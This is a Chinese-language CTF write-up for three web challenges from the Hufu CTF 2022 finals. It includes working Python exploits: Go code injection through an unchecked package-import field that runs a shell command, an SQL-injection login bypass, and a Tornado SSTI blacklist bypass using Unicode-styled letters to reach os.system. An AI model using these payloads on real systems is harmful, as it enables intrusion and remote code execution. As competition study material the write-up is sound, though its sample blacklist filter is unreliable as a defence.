虎符CTF2022 总决赛部分题解
# 虎符CTF2022 总决赛awdp部分题解
ADWP最后第八,有空还是要多学学二进制相关内容
# [WEB] READYGO
go本身不支持类似eval这样把字符串转换成代码解析的功能,看下咋实现的
func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main
%s
%s
func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
fmt.Println(string(codeBytes))
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
//defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
return res, err
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
可以看到是拼接成一段完整的源码然后编译执行。那么我们可以考虑代码注入来绕过沙箱。
r := gin.Default()
r.LoadHTMLFiles("html/index.html", "html/result.html")
r.GET("/", func(c *gin.Context) {
c.Header("server", "Gin")
c.HTML(200, "index.html", "")
})
r.POST("/parse", func(c *gin.Context) {
expression := c.DefaultPostForm("expression", "666")
Package := c.DefaultPostForm("Package", "fmt")
match, _ := regexp.MatchString("([a-zA-Z]+)", expression)
if match {
c.String(200, "Hacker????")
return
} else {
if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
c.HTML(200, "result.html", gin.H{"result": string(res)})
} else {
c.HTML(200, "result.html", err.Error())
}
}
})
r.Run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
可以看到package出没有做限制,考虑在此处注入
exp如下
import requests
url = "http://eci-2ze7eqa9e0rja8v9ws96.cloudeci1.ichunqiu.com:8080"
package = "os/exec\"\n\"fmt\")\nfunc\nmain()\x09{cmd:=exec.Command(\"cat\",\"/ffffLAG\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))/*"
exp = "*///"
payload = {
"expression":exp,
"Package":package
}
res = requests.post(url+"/parse",data=payload)
print(res.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2
3
4
5
6
7
8
9
10
11
12
13
14
15
防御的话就是只允许package为fmt了。。。感觉checker还得写强点。
# [WEB] manager
首先一个sql注入
import requests
payload = {
"name":"$`union select '2','2';-- ",
"password":"2",
}
url = "http://39.107.108.120:28738"
res = requests.post(url+"/login",json=payload,proxies={"http":"http://127.0.0.1:8080"})
print(res.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
登录后
把这个hostname放到hosts里本地解析到题目ip
访问链接,注册后可以连上对应rocket.chat服务
有个bot开了redis服务,考虑打redis
经典主从复制rce
然后getshell拿flag
# [WEB] app
tornado ssti
import tornado.ioloop, tornado.web, tornado.options, os
settings = {'static_path': os.path.join(os.getcwd(), 'static')}
class IndexHandler(tornado.web.RequestHandler):
def get(self):
self.render("static/index.html")
def post(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
msg = self.get_argument('tornado', '龙卷风摧毁停车场')
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help',
'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr',
'method', 'super', "flag", "file", "decode","request","builtins","|","&"]
black_symbol = ["__", "'", '"', "$", "*", ",", ".","\\","0x","0o","/","+","*"]
black_keyword = ['or', 'while']
black_rce = ['render', 'module', 'include','if', 'extends', 'set', 'raw', 'try', 'except', 'else', 'finally',
'while', 'for', 'from', 'import', 'apply',"True","False"]
if(len(msg)>1500) :
self.render('static/hack.html')
return
bans = black_func + black_symbol + black_keyword + black_rce
for ban in bans:
if ban in msg:
self.render('static/hack.html')
return
with open('static/user.html', 'w') as (f):
f.write(
'<html><head><title></title></head><body><center><h1>你使用 %s 摧毁了tornado</h1></center></body></html>\n' % msg)
f.flush()
self.render('static/user.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
def make_app():
return tornado.web.Application([('/', IndexHandler)], **settings)
if __name__ == '__main__':
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
print('start')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
主要是一些特殊字符ban了,其他的关键字可以用unicode来替代
学到一个特别巧妙的方式
然后用slice就可以把这段注入的字符拿出来,外面eval一下就可以实现rce了
完整exp如下
import requests
alphabet_encoded = "0123456789𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙"
alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
bold_translation = str.maketrans(alphabet, alphabet_encoded)
url = "http://localhost:8888"
payload = r"__import__('os').system('ls')"
poc = "{{eval(repr(request)[84:"+str(len(payload)+84)+"])}}"
poc = poc.translate(bold_translation)
data = {
"tornado":poc
}
r = requests.post(url+"?poc="+payload,headers={"Eki":"123"},data=data)
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
编辑 (opens new window)
上次更新: 2022/08/09, 16:21:00